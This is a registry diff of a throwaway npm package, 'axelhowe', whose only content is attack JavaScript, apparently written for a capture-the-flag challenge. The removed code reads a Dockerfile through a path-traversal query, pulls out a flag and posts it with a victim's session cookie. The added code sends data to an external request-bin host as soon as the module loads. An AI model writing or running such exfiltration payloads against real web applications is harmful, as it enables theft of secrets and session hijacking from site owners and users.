axelhowe 0.0.0-0LknGmQH → 0.0.0-5VtLmtixx6V5PkcW

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +25 -37
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,40 +1,28 @@
1
- function f(cookie) {
2
- let url = "/api/notes?id=/app/Dockerfile";
3
- let url2 = "/api/notes";
4
- let data;
5
1
 
6
- fetch(url)
7
- .then(
8
- (response) => {
9
- return response.json();
10
- }
11
- ).then(
12
- (response) => {
13
- data = response;
14
- });
2
+ let url = "/api/notes/all";
3
+ // let c2path = "/api/notes";
4
+ let request_bin = "https://en2lvaqpui54s.x.pipedream.net/";
5
+ let data;
6
+ data = { "title": "aaaa", "id": "bbbb" };
7
+ // fetch(url)
8
+ // .then(
9
+ // (response) => {
10
+ // return response.json();
11
+ // }
12
+ // ).then(
13
+ // (response) => {
14
+ // data = response[0];
15
+ // data.author = "aaaa";
16
+ // });
15
17
 
16
- // delete data
17
- let flag = data.content.split("'FLAG{")[1].substring(0, 100);
18
-
19
- fetch(
20
- "/login", {
21
- method: "POST",
22
- headers: {
23
- "content-type": "application/x-www-form-urlencoded"
24
- },
25
- body: "username=qweasd&password=qweasd"
26
- }).then(
27
- (response) => {
28
- fetch(
29
- url2, {
30
- method: "POST",
31
- headers: {
32
- "content-type": "application/json",
33
- "cookie": "session=" + cookie
34
- },
35
- body: JSON.stringify({ "title": data.title, "content": flag })
36
- }
37
- );
38
- });
39
- return ""
18
+ fetch(
19
+ request_bin, {
20
+ method: "POST",
21
+ headers: {
22
+ "content-type": "application/json",
23
+ // "cookie": "session=" + cookie
24
+ },
25
+ body: JSON.stringify({ "title": data.title, "content": data.id })
40
26
  }
27
+ );
28
+
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-0LknGmQH"}
1
+ {"name":"axelhowe","version":"0.0.0-5VtLmtixx6V5PkcW"}